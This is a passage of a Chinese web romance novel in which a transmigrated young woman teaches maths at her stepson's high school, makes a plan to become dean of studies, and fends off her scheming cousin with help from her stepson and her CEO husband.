陈训良推开后门,鬼鬼祟祟溜进教室,马上就要无声无息地回到自己的座位上,突然不小心看到了讲台上的女人。 然后,差点一声“后妈”叫出口。 不对,是黎哥后妈! 金苒听到动静,闻声望过去,就看到继子那位朋友呆瓜似的站在走道中间,旁边是不忍直视的江许黎。 她挑了挑眉:“不错,还记得来上课。” 陈训良脸色瞬间涨红。 这会儿他终于明白黎哥为什么会炸毛,任谁后妈跑来给自己当老师,也不会开心。 内心要多后悔有多后悔,现实中一句话也说不出来,见他这副样子,金苒也没有多为难,让人入了座。 只不过又把刚才的知识点讲解了一遍,并督促一些“没有听懂”的学生记录到本子上。 好记性不如烂笔头,她没办法在有限的时间里让所有人都听明白,只能尽量让他们课后搞明白。 陈训良趁着讲台上的人不注意,迅速回头朝着江许黎递了一个同情的眼神。 江许黎:“……” 事实上,他并没有陈训良想象中那么“惨”。 从出现在三班教室里的那一刻,金苒就赢得了除了江许黎之外,几乎所有学生们的惊叹和欢迎。 原因无他,她太漂亮了,漂亮到只要有她出现的地方,大家就看不到其他人。 性格也开朗乐观,言行举止落落大方,凭借着几句网络段子,轻而易消除了和学生们的代沟。 但金苒又不是一味宽和的,看到有学生忘乎所以拍打桌子,她会立刻严厉制止,并告诉对方这种行为会对其他人造成影响。 凭心而论,连江许黎都找不到她不好的地方。 她的课堂充满朝气和蓬勃,气氛轻松愉悦,他看到平日里不听课的那几位,都竖着耳朵被吸引,然后在某个时刻猛地反应过来,脸上露出懊恼的神情。 怎么就控制不住听课了呢? 甚至于,金苒连他说的“陌生人”准则也牢牢记在心里。 为了避嫌,一次也没有往他这边看…… 心情多少有些复杂。 手指不小心摸到书包里的铁盒,触感冰冰凉凉,江许黎冷酷地收回来,脑海中仿佛还能听到她笑着询问自己的话。 同样听的认真的还有班上的其他同学。 能考进文承的,不管现在的成绩如何,以前在各自的学校都是佼佼者,金苒讲课鞭辟入里,还擅长从差生的视角解题,把知识点拆分得极其细致,这些本就聪明的学生,自然一听就懂了。" 王舒雅只觉得曾经让她一头雾水的知识豁然开朗。 她的数学不算差,可就像陈训良说的,并不是最好的,比起班上的男生来说,她的数学成绩只能排到第五。 王舒雅虽然喜欢江许黎,也承认他的优秀,但这并不意味她认同“女生学不好数学”的偏见。 只是之前无论她怎么努力,成绩都无法进步,再加上身边人不时灌输这种观念,她几乎就要被说服了。 直到今天,当看到新来的数学老师是个漂亮的女生! 她年轻开朗,讲课幽默风趣,再难的数学题目在她口中都变得像编绳一样简单,只需要按照步骤抽丝剥茧,那一刻,王舒雅的心情激动到无法言表。 原来女生也是可以学好数学的! 原来女生也可以站在所有人的面前,自信的,昂首挺胸的,发表自己的见解! 长久以来的阴霾突然被阳光刺破,短短一节课的时间,王舒雅已经彻底被金苒的个人魅力折服,成了她忠实的粉丝。 她甚至不无阴暗地想,江许黎的后妈肯定没有这么厉害。 不知怀揣着什么样的心态,在金苒宣布会根据期末考试成绩选一位同学当数学课代表后。 一下课,王舒雅就飞速走到凑一起嘀嘀咕咕的两个男生面前:“新来的数学老师真的好厉害啊,比四班的数学老师还要厉害!听说四班数学老师还是数学组的组长呢!” “那道题目我问过四班老师,他只会给我按照答案讲,可我自己会看答案,金老师就不一样了,她随便讲了几句我就听明白了。” 话里话外都是对金苒的极力推崇,然后话音一转,装似不随意地问道:“江许黎,你后妈的数学比金老师还厉害吗?” 说完之后,就看到江许黎和陈训良齐齐露出一言难尽的表情。 她不明所以,颇有些不管不顾地继续说:“可能你后妈会做点儿数学题,但在我看来,只有达到金老师的程度,才能算作数学好,金老师简直是我们女生的楷模,我一定要给她当数学课代表。” 尽管黎哥已经警告他不要暴露金苒的身份,但此刻陈训良还是没忍住:“就算金老师数学好也和你没什么关系,黎哥才是我们班的数学第一。” 这话仿佛当头一棒,给兴奋的王舒雅敲响了警钟。 她警惕地看向江许黎,难得的没有其他心思:“你也想当数学课代表?” 江许黎当然不愿意。 他一直刻意与金苒保持距离,要是当了数学课代表,岂不天天打交道?犹豫片刻,他低声道:“要不下次考试我故意考差一点?” 话没说完,王舒雅就像踩了尾巴的猫,瞬间炸毛:“谁需要你让啊!我会和你公平竞争数学课代表,如果输了我,是我技不如人,如果赢了,那也是我靠自己的本事得来的!” 说罢扭头就走,这一刻,她突然觉得最喜欢的江许黎也有让人讨厌的地方。 果然人无完人啊。 两个男生被甩了冷脸子,对视一眼,不约而同叹了口气。 “算了,我 饿了,黎哥你有没有带吃的?” 陈训良一边说着一边已经顺手去掏书包,很快,两个巴掌大的饼干盒被掏出来:“卧槽,哪来的饼干,给我尝一尝。” 江许黎额头一跳,眼疾手快抢回去:“我没有吃的。” 陈训良:“?”不是,他都看见了啊。 江许黎却不给他,后面干脆拿出手机给陈训良转账五十块:“快滚,自己去超市买。” “得了。” 不就是饼干嘛,他还不喜欢呢。 陈训良拿着钱,喜滋滋走了。 / 金苒上午只有一节课,剩下的时间她都是在办公室刷题度过。 中午时刻,下课回来的同事询问她要不要一起点外卖,金苒拒绝了,因为她想去食堂看一看。 上次吃食堂还是上次的时候,她几乎要忘记那种感觉,只记得学生食堂的饭菜物美价廉,而起还比外卖健康。 得知她的计划,办公室在三楼的徐珍也跑来了,激动道:“我也早就想去食堂了,听我表哥说三号窗口的东北大饭包特别好吃,苒苒,你说咱们这么年轻,在食堂会不会被要联系方式?”应聘上老师的徐珍依旧有一颗少女心。 金苒嘴角抽抽:“你觉得哪个高中生会化妆烫卷发?” “也是。”徐珍点点头,不过看了一眼金苒,又嘿嘿笑起来,“我不行,但你说不定可以呢,瞧瞧这脸蛋,啧啧啧,比剥了壳的鸡蛋都要滑,真不知道以后要便宜哪个男人。” 金苒心想,应该是便宜不了,这辈子的她是已婚人士。 不过想到后面大概率会离婚,觉得也说不定。 突然,脸被轻轻扭了一下,原来是徐珍羡慕嫉妒恨,非要在男人摸之前先下手为强,金苒头都大了,连忙躲开魔爪。 打打闹闹一路到了食堂,恰好遇见了同来吃饭的徐珍的表哥。 “金老师,小珍,你们也来食堂吃饭啊。”王琛笑着打招呼。 他是高二的老师,之前就是他推荐金苒和徐珍来学校应聘的。 金苒和徐珍走过去:“王老师,多亏了你帮我内推,一直没机会好好谢您呢。” 王琛开玩笑道:“可不是嘛,上回你说请我吃饭,我可一直记着呢!” 闻言,金苒脸颊一红,她这几天忙着刷题,请客的事情倒是忘记了,连忙道:“如果方便的话,不如就今天下午吧。” “哪里还用等下午啊,我看现在就可以,咱们学校食堂的饭菜挺香的,今天正好沾你的光,多吃点!” 徐珍翻了个白眼。 他哥这幅孔雀开屏的样子真是没眼看。 金苒却知道王琛是在替自己省钱,心里一暖,干脆道:“那今天这顿我请,咱们仨随便吃!” 话虽如此,心里还是打算抽空再请一顿。 / 江许黎和陈训良几乎不吃食堂。 但今天他们在外面逛了一圈都没有找到想吃的,要不就是需要排长队,索性又回到了学校。 食堂里人满为患,两人也不知道什么好吃,随便买了几样肉菜,随后不得不端着食盘四处寻找空座。 突然,江许黎看到了金苒。 她坐在学生中间,身上穿着一件简单的白色针织衫,乌发被阳光镀上浅金色的光晕,衬得肌肤愈发白皙。 周围来来往往,不时有人的目光悄悄落在她身上,而她似乎浑然未觉,只顾着和面前的人说话。 江许黎这才将视线移到另外一人身上。 一个男人,一个看着格外年轻的男人。 两人边吃饭边聊天,不知道对方说了什么,金苒突然捂着嘴笑起来。 第23章 第23章这位金老师有点儿东西 “所以那个学生一着急,就把拖鞋踢到了你的碗里?” 金苒忍俊不禁。 得益于她丰富的想象力,只是听王琛描述就仿佛看到了那副画面,想象一下,本来正吃着面,突然天降拖鞋—— 噗!她没忍住,再次笑出声。 旁边,徐珍望着自家内向阿宅的表哥突然变成阳光开朗大男孩,简直没眼直视。 虽然她也希望表哥能够追到苒苒,但凭心而论,像金苒这样漂亮优秀的女生,不一定会看上王琛。 思考间,话题很快跑到其他地方。 王琛叹了口气:“咱们学校最近有点儿流年不利,先是招聘难,现在连教导主任也走了。” “教导主任怎么突然要走呀。”金苒和徐珍都有些惊讶,要知道,公立学校的教导主任一般是由教育局直接任命,负责统筹教学管理、课程实施、教师发展,在学校组织结构中属于中层干部,通常可直接向校长或分管教学的副校长汇报。(注1) /:. 金苒想到某种可能:“难道是人事调整?” 王琛点头又摇头:“好像是考核不合格,弄丢了学校的合作,加上领导班子变动,之前的教导主任就跟着轮岗走了,听意思,校长这次打算由咱们学校自己提名,到时候再上报教育局审核批准。” 同为年轻老师,早来一年的王琛已经建立起自己的信息网,见两人感兴趣,不由得多说了点。 “这事是真的,本来有几个公司打算给学校捐实验室,结果教导主任不知道怎么想的,故意拖延签约流程,导致人家直接撤回资金,等校长知道后已经晚了,所以一怒之下表示不管男女老少,只要有能力,就有机会当上教导主任。” 在两人的倒吸气中,王琛开玩笑:“你们说我去竞选教导主任怎么样?到时候记得给我投票啊!” 徐珍立刻翻了个大白眼:“就你还教导主任,别被主任教导就好了!” 表兄妹二人都没有把这件事情当一回事,只有金苒眼眸闪了闪,真的动了心。 普通教师和教导主任相比,自然是后者更有含金量,金苒选择考教师编是为了稳定,但同时,她又不是一个那么追求稳定的人。 她可以在高考填报志愿当天临时更改决定,也可以在发现就业前景不佳时果断加入考公大军。 虽然正是这个决定让她遭遇车祸不幸穿书,但金苒从来不是个固执己见的人。她不怕吃苦,只怕付出没有回报,而教师这个职业恰好能避免这样的风险。 同样是渡河,一条清晰见底,可以看到深浅,一条更深些,困难重重但是没有性命之忧,通过后还有可能获得宝藏,她肯定会毫不犹豫选第二条。 毕竟人生苦短,为什么不在有限的生涯里追求无限的成就?没有追求也无妨,工资可喜欢吧?教导主任兼任教学和管理,工资是普通教师的两倍! 金苒越想越觉得不错,甚至短短时间内已经计划出一条升职加薪的路线,从代课老师到考编制成为正式老师,再到升职教导主任,最后冲击副校长,即便失败也无妨,除了增加一次丰富的经验,对她来说没有任何损失! 于是在王琛说完后,她忍不往问:“教导主任的推选有什么具体要求?” 闻言,王琛一愣,反应过来她是真的感兴趣:“这点不清楚,等回去我就帮你打听一下。” 金苒高兴地说了一声谢谢。 为了感谢,她又去窗口给王老师打了一份红烧排骨。 “咔嚓。” 食堂小餐桌上,江许黎手中的筷子突然从中间断成两半。 陈训良咬着仅剩的白菜,看到这一幕目瞪口呆:“卧槽,食堂的筷子质量也太差了吧。”说着眼疾手快夹走那颗半道中卒的红烧肉,“别浪费,我替你吃!” 江许黎气得太阳穴一跳一跳。 他怎么有这么个吃货朋友! 又看了一眼和其他男人言笑晏晏的后妈,犹豫了片刻,还是决定装作没有看见。 反正他爸也不会领情。 脑海中想到之前医院的对峙,江许黎眸色逐渐暗淡下来。 当然,最重要的是他知道金苒和年轻男人之 间没有什么,但这一刻,他忍不住暗戳戳想象他爸被抛弃的场景。 不知到了那个时候,那个男人还能不能一副运筹帷幄的样子。 / 课间空,三班的学习委员让班上几个力气大的男生去办公室搬书。 江许黎原本趴在桌子上,听到后站起来:“算我一个。” 学习委员不知道从来不参与这种事情的江许黎为什么会主动请缨,但看他的确像力气大的样子,点点头:“三楼数学办公室,不要走错地方,速度快点,我回来的时候看到五六班已经过去了!” 学校书本都是定量,虽然每个学生都能分到,但是去的晚了,只能拿别人挑剩下的,不是有折痕就是破破烂烂沾染脏污,倒不影响使用,只是总归让人觉得不爽快。 一行男生立刻浩浩荡荡出了笼。 路过七班的时候,江许黎看到七班门口围着许多人,之前他帮助过的那个大高个男生低着头站在一个年轻女人的身后,旁边还有一个打扮朋克的男人正厉声说着什么。 江许黎看了几眼就不感兴趣地收回视线。 下午金苒从同事那儿打探了一番,得知校长真的有在校内推选教导主任的打算,但具体推选谁,怎么推选,大家也不清楚。 得知这一点,金苒虽然有些失望但还算稳得住。她现在的当务之急是准备即将到来的教师编考试,只有通过编制成为正式教师,才有资格争取后面的教导主任。 外面传来声音,金苒抬起头,一群学生出现在门口,为首的男生说:“老师,班主任让我们过来搬书。” 这会儿整个办公室只有金苒一个人,她问:“搬什么书?” “新订的《新教材完全解读》和《小题狂做》。” 金苒便指了指靠左的办公桌:“在那边,你们去拿就好了,记得排队。” 学生们陆陆续续进来,三班的学生还好,已经在课上见过金苒,其他班却是第一次,不敢大声喧闹,每个人规规矩矩排队等待。 江许黎弯着腰假装挑书,趁人不注意,悄悄靠近金苒,压低声音说:“我今天中午在食堂看见你了。” 金苒一脸茫然:“是吗,我听说学生食堂的饭菜味道不错,所以就和同事去尝试了一下。” 不过当时人太多,她并没有注意到江许黎。 神情有些稀奇,金苒一时不知道这位别扭的高中生主动来找自己是为了什么。 另一边的江许黎却是迅速抓住了关键:“同事?” “对啊,高二的王老师,当初还是他引荐我进学校。”她实在好奇,忍不住,“江同学,请问你有什么问题吗?” 原来是学校的老师。 这一刻,江许黎也不知道松了哪里的气,嘴上说着要看父亲的笑话,到头来还是于心不忍,现在好了,终于不用担心某日回家看到老男人发疯的场面。 惦记了许久的事情有了着落,他整个人都轻松起来:“没事,我就是想问问好不好吃。” “还可以。” 话虽如此,金苒却不相信他的鬼话,但也没必要深究,青少年有点儿小秘密很正常。 见他想走,她动作自然地从抽屉里拿出一套崭新的卷子:“对了,听说你是咱们班的数学第一,我刚出了一套摸底试卷,你拿回去做了吧。” 江许黎:“……” 他后悔要多管闲事了。 / 明技科技。 江明羧放在一侧的手机突然响起震动。 金苒:【请问现在有空吗?(小猫探头)】 【在忙吗?】 【如果看到请回复,有事和你商量。】 江明羧正好瞥到了最后一条,于是放下手中的文档,解锁手机,这么一会儿的功夫金苒已经又发了三四条消息,此外他的列表里还多出一个群聊。 他顿了顿,先点开金苒的聊天框,询问:【什么事?】 对面秒回。 金苒:【是这个样的江爸爸,为了让学生能够体会到学习数学的乐趣,我打算在班上推行“搭档”学习方式,您的儿子江许黎数学成绩优秀,被任命为数学总队长,从今天开始大概会有晚自习留校的情况,请问家长那边有什么想法吗?】 看着屏幕上的“江爸爸”三个大字,江明羧嘴角抽动,不过也明白过来她的意思。 嗯,挺公私分明的。 如果忽略那个可爱的猫咪表情包的话。 眼角带上笑意,他想了想问:【家长的想法会干扰到最后结果?】 【是的,这边建议家长还是要好好考虑,是否能够支持孩子的决定,毕竟偶尔可能会太晚,届时需要家长过来接送。】 她既然这样说,江明羧便重新看了一遍要求。 简而言之,就是“一对一”结对子,比如A学生数学好、英语差,B同学数学差、英语好,如果两人能够互相帮助、共同学习,或许可以优势互补,达到“1+1大于2”的效果。 江明羧手指屈起,凸起的骨节一下一下敲打着橡木桌面,声音飘荡在空荡荡的房间。 他是商人,重利益,对于这件事情第一反应是从收益出发,但仔细考虑下来,也不得不承认是个利大于弊的决定。 这让他微微有所改观。 对现在这个“金苒”的看法也发生了变化。 如果以前是不以为意,漫不经心像待一个好玩有趣的物什,那现在,却是多了几分欣赏在里面。 另一方面,归根结底这件事情的关键还是在于江许黎。 说实话,对于这个唯一的儿子,江明羧一直疏于关心。 对方出生那年,正值他创业最艰难的阶段——合伙人撤资,资金链断裂,和老家的亲戚又因为一些事情彻底闹掰,几乎到了家破人亡的地步。 等终于熬过危机,又赶上毕业的节点,他只能把孩子留在老家托付给保姆照看。 后来在A市站稳脚跟,他才想起要接儿子过来,可惜为时已晚,四岁的江许黎已经记事,对他这个父亲很是抗拒。 而江明羧本就不是慈爱的性子,他心肠比石头都要冷,加上孩子母亲那桩旧事,索性对孩子采取了放任态度。 【如果小黎愿意,我这边也没有什么问题。】 金苒正抱着手机屏息等待,傍晚阳光从窗户照进来,晒的人昏昏欲睡,恍惚间看到对面发来的消息,精神一震,整个人清醒过来。 说服霸总需要专业知识和理论数据,说服江许黎只需要一句话:“你爸都没有做过数学小队长”。 所以她是在拿下便宜继子后,才开始下一步行动。 眼下见江明羧答应,很是高兴:【太好了!江爸爸,感谢您的理解!您真是善解人意的好家长,其他家长应该向您学习!】 江明羧挑了挑眉,脑子里冒出一句话:无事献殷勤,非奸即盗。 果不其然,金苒吹捧完江明羧,转头就去新拉的大群里发了一条消息。 【感谢江爸爸支持老师的工作,一个成功的孩子背后离不开默默奉献的家长,想必江同学的成绩一定会进步的!(鼓掌)(鼓掌)(鼓掌)】 【还有其他家长也不要气馁,如果有意可以继续私聊我,实在不方便也没关系,家长可以在家督促孩子学习,效果应该也不错】 她一下子抛出两个信息点,以防别人看不见,特意艾特所有家长,刚说完家长群就炸了。 江爸爸?哪个江爸爸?不会是他们想的那个吧?! 再翻一翻列表,有些圈内人已经认出了江明羧的账号,心里顿时掀起惊涛骇浪。 ——能说动江明羧,还把对方拉到家长群,这位金老师好像有点儿不简单啊。 于是四处打探对方身份,得知是新来的A师范的高材生,心中敬佩更甚。 有能力的人对知识分子都很推崇,“搭档”学习法本身就是一件好事,懂事点的家长不会拒绝,而那些原本嫌弃麻烦、还在徘徊犹豫的家长,见江明羧都答应了,哪里还顾得上麻烦,也立刻改口答应。 跟着大佬有汤喝,即便蹭不上关系,让自家孩子和小江少爷多相处,培养培养感情也是不错的。 目睹这一切的江 明羧:“……” 他要是看不懂怎么回事,简直白长她十岁,嘴角绷了又绷,最后没忍住气笑了。 走到门口的王特助看到这副画面,莫名打了个寒战,突然觉得自己的事情也没有那么急,要不还是等会儿再来汇报吧。 那边,江明羧笑完之后,无奈地捏了捏鼻梁。 他能说她的胆子越来越大了吗? 之前是小心翼翼试探,现在则装作软绵无害的羊羔,先慢慢靠近你,等你逐渐放松警惕,她又突然露出锋利的猫爪挠你一下。 尽管这爪子对他来说,轻飘飘和挠痒痒似的…… 在众家长热闹的商讨中,群里猛不丁跳出来一条消息。 江明羧:【金老师年轻有为,在数学方面有独到的见解,“搭档”方式放在公司也是一种不错的办法,如果后续学生成绩提高,明技科技会考虑向文承中学捐赠两座数字实验室。】 算是给金苒之前的话盖棺定论。 一时间,众人对金老师的“能力”更加信任。 丝毫不知,此时此刻他们眼中“有点儿东西”的金老师,正可怜巴巴对着江总私聊道歉。 金苒:【对不起,我错了!(兔子磕头)】 她两辈子第一次当富人,哪里知道霸总连联系方式都要配备两个啊,而她就那么一不小心,一不经意,咳,把人家的私人联系方式公布到群里。 导致短短几分钟的时间,江明羧的好友申请就爆炸了。 江明羧无奈扶额:【磕头就不必了,不过这件事情严格来讲算是金老师的个人失误,是不是应该为此负责?】 金苒立刻回复:【当然!我不是那种不负责任的人!】 反正她的目的已经达成,利用了别人,人家想要收取佣金也是很合理的。 不过以防江明羧站得太高,不识普通人的疾苦,她还是提醒了一句:【不能超出我的能力范围哦,否则概不作数。】 江明羧:【应该不会特别难。】 却不说到底要让对方如何负责,任凭金苒怎么试探都不松口,转而问起其他事情:【今天晚上有“搭档”学习?】 【虽然我很期待,但目前“搭档”学习还在计划中,没有开始实施。】 【嗯,我也忙完了,顺路。】 这是要过来接她的意思。 免费的车不蹭白不蹭,金苒爽快答应下来,并顺手发了一个最近流行的“小八捏脸撒娇”的表情包。 之后便退出聊天框,转而回复其他家长的私信。 等到她解答完家长们的各种问题,再返回最开始的页面时,才发现江明羧发了新消息。 江明羧:【……】 江明羧:【不行。】 她满头问号,什么行不行的?思来想去发现理解不了老男人的脑回路,索性抛到了脑后。 / 傍晚霞光满天,天地浸在暖暖的色调中,马路上车流鼎沸。 结束了第一天工作的金苒告别同事,拜托几个学生转告江许黎一声,自己便先到学校门口等车。 江明羧虽然表示“顺路接人”,但金苒没有厚脸皮到认为对方是专门接自己,不过她想好了,如果通知后对方却没来,那就不关她的事了。 可金苒没想到的是,她既没等到车子,也没有等到江许黎,却先一步等到了来学校找江许黎的金静。 之所以确认是找江许黎而不是自己,是因为她在学校工作的事情暂时没有其他人知道。 嗯? 又来! 因为上班而略微萎靡的金苒精神一凛,瞬间期待起来——这次对方打算耍什么花招呢? 第24章 第24章你小子是会得寸进尺的 几步之遥,金静尚且不知道自己已经被发现。 她只从照片上见过江许黎,这会儿怕错过,眼睛一眨不眨地盯着门口。 好在很快,她就看到了两个高个子男生从学校里走出来,其中一位还和照片中的少年长得很是相像! 江许黎平日里都是和陈训良一块儿走,但今天对方要去姥姥家,两人前脚刚分开,后脚他就被人拦住了。 “是小黎吗?” 面前的女人脸色苍白,身形纤细如弱柳扶风,笑起来也是温柔无害:“我是金苒的姐姐,按辈分…你算是我的外甥呢。” 经此提醒,江许黎终于记起来了。 上次他在家里见过这个女人,据说是金苒的堂姐。 只不过当时两个女人间的气氛并不融洽,甚至隐隐有些针锋相对。 思及此,少年态度冷淡了几分,“有事直说,我赶时间。” 金静嘴角的弧度僵住。 早在之前,她就听说江明羧的儿子性子乖戾,整日和陈家的纨绔混在一起,却没想到这么没教养,果然是有妈生没妈养的。 内心嫌恶不已,表面却温柔道:“……不是什么大事,就是路过这边顺路过来看看你。”她顿了顿,似乎在斟酌措辞,“有段时间没有见到苒苒了,不知道她过得好不好?我那妹妹从小被娇养长大,柔弱到一点儿苦都吃不了,她嫁人后,爷爷和叔婶一直很担心她。”? 江许黎怎么也没办法把“娇生惯养”和那个每天早上在草坪“练功”的女人联系起来。 她如果算柔弱,那这个世界上就没有柔弱的人了吧。 甚至于,因为从小的经历,他对旁人的恶意格外敏锐,轻而易举发现了金静藏于眼底的情绪。 江许黎反而好奇起来,忍不住问:“所以?” “所以她要是有什么做得不对的地方,还希望你们多多体谅。” 金静一副担心妹妹的好姐姐样子,她之所以过来找江许黎,完全是因为上次被金苒赶出江家后,对方不仅拉黑了她的联系方式,还让小区物业禁止她入内! 被金老爷子养大的金静哪里受过这种委屈,发誓要让对方付出代价。 “你可能不知道,原本要嫁给你爸爸的人是我,苒苒知道后哭着闹着抢走了这次机会,她从小喜欢什么就一定要得到,拦都拦不住……” 金静眼神歉然地看向江许黎,甚至隐隐有些担心:“她是因为报复我才嫁给你爸爸,我怕她……故意欺负你。” 不远处,金苒脸上露出诧异到愕然的表情。 什么叫抢到的结婚机会? 难道原身和江明羧的婚姻并非两情相悦?而且既然能够被抢走的话,大概率真的属于协议联姻吧。 再联想这段时间自己的表现,金苒已经一张生无可恋脸。 过去的所有疑惑迎刃而解,怪不得小说中的夫妻俩相敬如冰,怪不得江明羧总是试探她的态度,原来从头到尾都是原身的一厢情愿。 那她每天的小心翼翼算什么? 金苒苦笑不已,只能安慰自己,没事没事,虽然她演的差,但江明羧也没有拿她切片检查是不是? 金静一边说,一边观察对面的少年。 她有信心说服江许黎。这个年纪的孩子缺乏主见,从小没有见过亲生母亲,父亲突然娶了一个年轻漂亮的后妈,对方的内心必然是充满愤怒与惶恐。 如果再让他知道,这场看似完美的婚姻背后,实际藏着一场精心策划的报复,他会作何感想呢? 当然是—— 江许黎用看傻子的目光将金静上下打量了一番:“你当我是傻子吗?” 金静:“?” 不远处偷听的金苒:“?” 等等,怎么不按常理出牌啊! 江许黎是真觉得金静是傻子。 即便是商业联姻,他爸那样的人也绝不会任由一个女人跳到头上,至少绝对不会和对方心平气和在餐桌上聊 “编制”,也不会因为“顺路”而每天接送金苒上下班。 上次张妈的事情已经让他很是恼火,没想到还有人敢跳到面前挑拨离间。 难道他看起来真的那么容易摆布? 少年心中无端升起戾气,只见他眉毛往后仰,带出几分年轻人特有的张扬与不驯,然后用一种极其嫌弃又好奇的语气说:“你是不是嫉妒金苒啊?” 金静:“?” 她嫉妒金苒?嫉妒什么? “嫉妒我爸喜欢她不喜欢你呗,要不然我实在想不明白,你一个当堂姐的天天盯着堂妹的丈夫孩子是为什么,或者……”江许黎恶劣一笑,“你想给我当后妈?” 不得不说,他猜到了事情本质,金静却不愿意承认,气得眼圈都红了:“小黎,你,你怎么能这么想我,我是真的担心妹妹会伤害你,你不知道,她之前经常和我埋怨你……” 不是吧,这大姐告状怎么还有回旋镖啊。 安静吃瓜的金苒终于站不住了,她好不容易相处好的数学小队长,可不能被个小贱人是给吓跑了。 刚准备过去中止两人谈话,突然听到对面江许黎嗤笑一声:“我说大妈,你可真有意思,嫉妒她你就去找她啊,在我这叭叭有什么用,不过我觉得你嫉妒也没有用,你长得不如她好看,说话嘴巴臭,和她比简直差了十万八千里,我爸眼光高,肯定看不上你。” 大…… 大妈…… 一瞬间,金静双眼发直,脑海中只留下这两字来回盘旋。 金苒也惊呆了,这小嘴真是淬了毒似的甜。 不过,有些爽是怎么回事? 金苒看到金静被打击到身子摇摇欲坠,心里险些乐开了花,但怕对方碰瓷江许黎,还是果断登场:“哎呀,原来小黎你在这啊,我都找你半天啦,咦,堂姐你怎么也在这里啊?” 她娇柔造作的嗓音立刻拉到了在场两人的目光。 庆幸这会儿学生已经走得差不多了,加上几人站的位置偏左,暂时没人注意到这边的闹剧。 “呵…呵呵,我在附近,顺路过来看看小黎。” 看到来人,金静攥紧手心,指尖微微发白。她特意找到学校里,目的就是为避开金苒,没想到还是撞了个正着。 金苒仿佛没察觉到她的崩溃,扭着猫步走近:“哦也对,从我这边辈份算,你是小黎的大姨呢。” 故意把“大”字加重音,果然又看到金静铁青的脸色。 恶趣味欣赏一番,这才慢条斯理地开口:“堂姐,按理说应该请你到家里坐坐的,可今天是我们家的家庭活动,实在不好带外人去,你这么善解人意,应该能体谅吧?” 又转头对江许黎道:“你这孩子,不是说好一起去超市吗,怎么在这里耽搁时间。” 闻言,江许黎一怔,金静也一怔。 几天时间没见,他们关系已经好到可以一起逛街了? 金静心里顿时涌起一股酸涩的妒意,一时控制不住,指甲陷进掌心,几乎要掐出血来。 凭什么,同样是金家人,凭什么他们对自己不冷不热,反而接受一个又蠢又坏的女人? 视线的盲区,金苒朝着江许黎挤了挤眼睛。 江许黎:“……” 他觉得有些好笑,尤其看到另外一人被气的脸红脖子粗,心里竟有种小时候和朋友一起做坏事的紧张感:“哦,还说给我买TC新出的游戏机。” 金苒:你小子是会得寸进尺的。 不过要论得寸进尺,还是比不上心眼多的她。 “好好好,反正是你爸爸付钱,对了,咱们快点走吧,别让你爸爸等久了,刚才我来找你,他还不让我来,说担心我走路脚疼。” 即便没有照镜子,金苒都能猜测出自己如今是多么欠打,她笑得羞涩:“要我说你爸爸就是太恋爱脑了,一点儿也离不开我,怪不得人家都说先婚后爱比自由恋爱还要长久呢。” 江许黎:“……” 金静:“……” 刚刚下车的江明羧:“……” 脚步有一刻的停顿,某一瞬间,他还以为自己走错了地方。 直到他看到金苒转过头,用一种极其奇怪、仿佛被老鼠夹夹到的声音,问他什么时候去逛超市。 他:“……” 确定了,没有走错地方。 尽管心中觉得非常古怪,不明白女人葫芦里到底卖的什么药,但作为一个公司的总裁,他早就练就了喜怒不形于色的本领,若无其事走近:“抱歉我来晚了,现在就走吧。” 一旁的金静不可置信地瞪大眼睛。 这是江明羧? 他不是一个三十多岁的二婚男吗?! 金静见过许多圈内的成功人士,年少有为毕竟难得,大部分坐到总裁位置的,都成了大腹便便的油腻男,而年纪小长得帅的,能力又不行,以至于这么多年来她一直宁缺毋滥。 可现在,看着眼前身形修长的英俊男人,想到本应该属于自己的姻缘,心里的嫉妒像浇了油,烧得更加旺盛。 等反应过来,她已经越过金苒这位正牌夫人,走到男人面前:“江总好久不见,爷爷的寿辰快到了,本来想请您过去聚一聚,可消息被人拦着,一直联系不上您。” 江明羧看了她一眼,有些疑惑:“你是?” 金苒差点儿笑喷,不是说被抢了联姻机会吗,现在看来两人也没有多熟悉嘛。 金静着急解释:“您忘了,当初两家联姻,您本来选中的是我。” “哦,是金小姐啊,”江明羧点了点头算作招呼,“令祖父寿辰的帖子我已收到,届时有空会过去,至于联姻…” 他态度淡然,“原本选的是您,后来见面发现不太喜欢,所以就换了。” “……” 这下,金苒都有些怜爱金静了。 怪不得是江许黎的爹,父子俩怼人的毒舌简直如出一辙。 看看这句平平无奇的话出来后,方才还茶言茶语的金静,直接憋屈到什么话都不说了。 显然,江明羧打击到了对方最在意的点,早在第一次见面,金苒就看出了金静对江明羧的别有企图,之前她不清楚内情,现在却是知道了。 可她并没有感到内疚。 一来那是原身和金静之间的交易,不管结果如何,想必当时的两人已经达成了共识。 二来,原身是原身,她是她,她向来没有牺牲自我,成全旁人的癖好。 察觉到江明羧望过来,金苒满意地递了一个“孺子可教”的眼神。 然后上前一步,当着众人的面亲昵地挎住男人臂弯,忽略对方瞬间的僵硬快速道:“堂姐,我们先走了,下次有空再聊。” 娇滴滴为今天这场单方面的碾压画上完美的句号。 / 今天江明羧开的不是熟悉的保时捷,而是车库里另外一辆劳斯莱斯幻影。 光是那华丽奢华的色彩搭配,那流畅的飞鱼似的线条,就足以让路过的车辆纷纷避开。 一家三口来到车前。 江许黎想都不想拉开副驾驶的门,一个是他爸,一个是后妈,他和哪一个坐一起都不合适。 金苒和江明羧倒没有想那么多,顺势去了后排。 一进去,金苒就感受到了不同,如果说之前的保时捷是舒适跑车,那么这辆劳斯莱斯则是豪华游轮的程度,不由好奇道,“这车不便宜吧?” 江明羧点头:“大概八位数。” 八位数?千万! 刹那间,金苒肃然起敬,不止对车,还对拥有这辆车的人,按照她给自己的职业规划,恐怕这辈子也买不起一辆,屁股非常诚实地坐实了点儿,嗯,买不起坐得起,她可以趁机好好享受。 江明羧不动声色往旁边看了一眼。 金苒坐姿笔直端正,满头秀发扎成低垂的马尾,发稍随着车子行驶而轻微轻晃,时不时扫过弯弯颈窝。 他的目光不由自主地顺着那抹弧度游走——不同于男性突出的喉结,女人的颈部光滑而白皙,仿若上好的白脂玉,在昏暗的车厢内泛着温润的光。 就是实在让人不明白,怎么可以发出那样的声音。 直到金苒似有所觉地偏头,他才收回视线,转而望向窗外流动的夜色,仿佛方才的凝视只是错觉。 对此,金苒一无所察。 望着车窗外陌 生的风景,她心里产生了一丝疑惑:“这是去哪的路?” 江明羧镇定道:“不是说去超市买东西么,平庭那边有一家大型超市,东西比较齐全。” 虽然来得晚,但两人的大部分对话他还是听见了,上车时便让小孙将目的地设为了超市。 闻言,金苒眼睛转了转。 